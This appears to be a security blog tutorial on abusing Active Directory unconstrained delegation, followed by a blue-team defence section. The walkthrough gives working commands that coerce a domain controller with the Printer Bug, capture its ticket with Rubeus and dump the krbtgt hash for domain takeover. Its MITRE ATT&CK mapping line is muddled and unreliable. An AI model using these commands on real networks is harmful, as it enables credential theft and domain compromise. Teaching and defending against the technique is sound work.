Abusing Unconstrained Delegation: From Printer Bug to Domain Compromise

Active Directory
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction

Unconstrained Delegation is one of the oldest and most dangerous misconfigurations in Active Directory. When a computer (or service account) is trusted for unconstrained delegation, any user who authenticates to it via Kerberos hands over a usable copy of their Ticket-Granting Ticket (TGT). If an attacker controls such a host, they can capture those TGTs — including, with a little coercion, the TGT of a Domain Controller's machine account — and impersonate any principal in the domain.

In this article you'll learn how the delegation mechanism works at the protocol level, how to enumerate and identify vulnerable hosts, how to coerce a Domain Controller into authenticating using the "Printer Bug" (MS-RPRN), and how to capture and reuse the resulting TGT with Rubeus. We finish with a thorough blue-team section, because this is a misconfiguration you can actually fix.

How It Works

Kerberos delegation lets a service act on behalf of a user toward a downstream service (the classic "double hop"). With unconstrained delegation, there is no restriction on which downstream service the front-end may reach.

The mechanism hinges on a single User-Account-Control flag: TRUSTED_FOR_DELEGATION (0x80000, also surfaced as the userAccountControl bit and the LDAP attribute msDS-AllowedToDelegateTo being absent). When a host has this flag set:

  1. A user requests a service ticket (TGS) for the host and sets the forwardable flag in their TGT request.
  2. The KDC embeds a forwarded copy of the user's TGT inside the service ticket's authorization data.
  3. The host extracts that TGT and caches it in LSASS so it can request tickets as the user to any service.

That cached TGT is the prize. An attacker with local admin/SYSTEM on the host can dump it from memory and replay it elsewhere. The Printer Bug (and other coercion primitives like PetitPotam/MS-EFSRPC) is the trigger that forces a high-value account — typically a Domain Controller — to authenticate to the attacker-controlled host so its TGT lands in that cache.

This is closely related to other delegation abuses; see Constrained Delegation Abuse and Resource-Based Constrained Delegation for the more modern variants.

Prerequisites / Lab Setup

  • A Windows AD lab: one Domain Controller (DC01) and one member server configured with unconstrained delegation (WEB01).
  • Attacker box with Impacket, Rubeus, and PowerView (or Get-ADComputer).
  • A foothold: local administrator / SYSTEM on the unconstrained-delegation host. Without it you cannot read LSASS.
  • The DC's Print Spooler service (spoolsv) running for the Printer Bug (it is on by default on many DCs).

Attack Walkthrough

1. Enumerate unconstrained delegation hosts

The Domain Controllers themselves always have this flag, so filter them out and look for member servers.

# PowerView
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname

# Native ActiveDirectory module
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} `
  -Properties TrustedForDelegation, dnshostname | Select name, dnshostname

From Linux with Impacket's findDelegation.py:

findDelegation.py -dc-ip 10.10.10.10 'corp.local/svc_user:Password123!'

Look for rows where the delegation type is Unconstrained.

2. Start the TGT monitor on the compromised host

With SYSTEM on WEB01, run Rubeus in monitoring mode. It polls LSASS and prints any new TGTs that arrive, base64-encoded.

# Continuously harvest tickets every 5 seconds, filtering on the DC machine account
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap

/filteruser:DC01$ narrows output to the Domain Controller's machine account so you don't drown in noise. /nowrap keeps the base64 on one line for easy copy-paste.

3. Coerce the DC with the Printer Bug

The Printer Bug abuses the MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx call: any authenticated user can ask a remote Print Spooler to "notify" them of print changes, and the spooler authenticates back to the supplied target over Kerberos. Point that callback at our unconstrained host.

# Impacket's printerbug (target = DC, listener = our unconstrained host)
printerbug.py 'corp.local/svc_user:Password123!'@10.10.10.10 WEB01.corp.local

The standalone C# tool SpoolSample does the same from Windows:

.\SpoolSample.exe DC01.corp.local WEB01.corp.local

If the Spooler is disabled, fall back to PetitPotam (MS-EFSRPC, CVE-2021-36942) or Coercer.py, which trigger the same machine-account authentication via different RPC interfaces.

4. Capture and reuse the TGT

Within seconds, the monitor session prints the DC's TGT:

[*] Found new TGT:
  User                  :  DC01$@CORP.LOCAL
  StartTime             :  ...
  Base64EncodedTicket   :  doIF... (truncated)

Inject it into your session:

.\Rubeus.exe ptt /ticket:doIF... 

Now you hold a Domain Controller's TGT. Because a DC account can read the directory's secrets, perform DCSync to dump the krbtgt hash (and everything else):

# Impacket secretsdump using the injected ticket (KRB5CCNAME set) or via -hashes
secretsdump.py -k -no-pass corp.local/DC01\$@DC01.corp.local -just-dc-user krbtgt

With the krbtgt hash you can forge a Golden Ticket and own the domain indefinitely.

Attack Flow Diagram

Abusing Unconstrained Delegation: From Printer Bug to Domain Compromise diagram 1

Diagram: the attacker monitors LSASS on the unconstrained host, coerces the DC to authenticate to it, captures the forwarded DC machine TGT, then uses it to DCSync the krbtgt hash.

Detection & Defense (Blue Team)

Treat unconstrained delegation as a tier-0 risk and address it from both sides — configuration hygiene and monitoring.

1. Eliminate or constrain delegation.

  • Audit for the flag and remove it wherever it isn't strictly required:
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
  Where-Object { $_.PrimaryGroupID -ne 516 }   # exclude real DCs
  • Replace unconstrained delegation with constrained delegation or resource-based constrained delegation (RBCD), which scope the downstream services explicitly.

2. Protect privileged accounts from being delegated.

  • Add Tier-0 accounts (Domain Admins, etc.) to the Protected Users group, and/or set the "Account is sensitive and cannot be delegated" flag (NOT_DELEGATED, UAC 0x100000). Their TGTs will never be forwarded, neutralizing capture even if a host is compromised.

3. Kill the coercion primitives.

  • Disable the Print Spooler on servers that don't need it (especially Domain Controllers):
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  • Mitigate PetitPotam: patch CVE-2021-36942, enable Extended Protection for Authentication (EPA) on AD CS / LDAP, and require SMB signing. Block inbound RPC (TCP 135 + dynamic high ports, MS-RPRN/MS-EFSRPC) to DCs from non-admin networks.

4. Detect.

  • Event 4624/4768/4769: watch for a DC machine account (DC01$) authenticating to a member server — that is abnormal and is the signature of TGT capture.
  • Monitor LDAP changes to userAccountControl adding TRUSTED_FOR_DELEGATION (Event 4742 / directory-service audit).
  • Alert on Microsoft-Windows-PrintService operational logs and on MS-RPRN/MS-EFSRPC RPC calls (Defender for Identity surfaces these as "Suspected NTLM relay" / coercion alerts).
  • Hunt for Rubeus behavior: repeated LSASS reads, suspicious monitor/dump activity, and ticket injection.

These map to MITRE ATT&CK T1558.003 (Kerberoasting is T1558.003 — delegation abuse falls under T1134/T1187 and T1207); coercion is T1187 (Forced Authentication).

Conclusion

Unconstrained delegation collapses the entire security boundary of a domain into a single misconfigured host. Combined with a coercion primitive like the Printer Bug, an attacker turns a member server foothold into a Domain Controller's TGT — and from there into the krbtgt hash and full domain compromise. The good news for defenders: the flag is enumerable, the legitimate use cases are rare, and the mitigations (Protected Users, sensitive-and-cannot-be-delegated, disabling Spooler, moving to RBCD) are concrete and effective. Find every non-DC host carrying TRUSTED_FOR_DELEGATION and ask whether it truly needs it. Almost always, the answer is no.

For related Kerberos attacks, see Kerberoasting: A Complete Guide and Golden Ticket Attacks.

References

Comments

Copied title and URL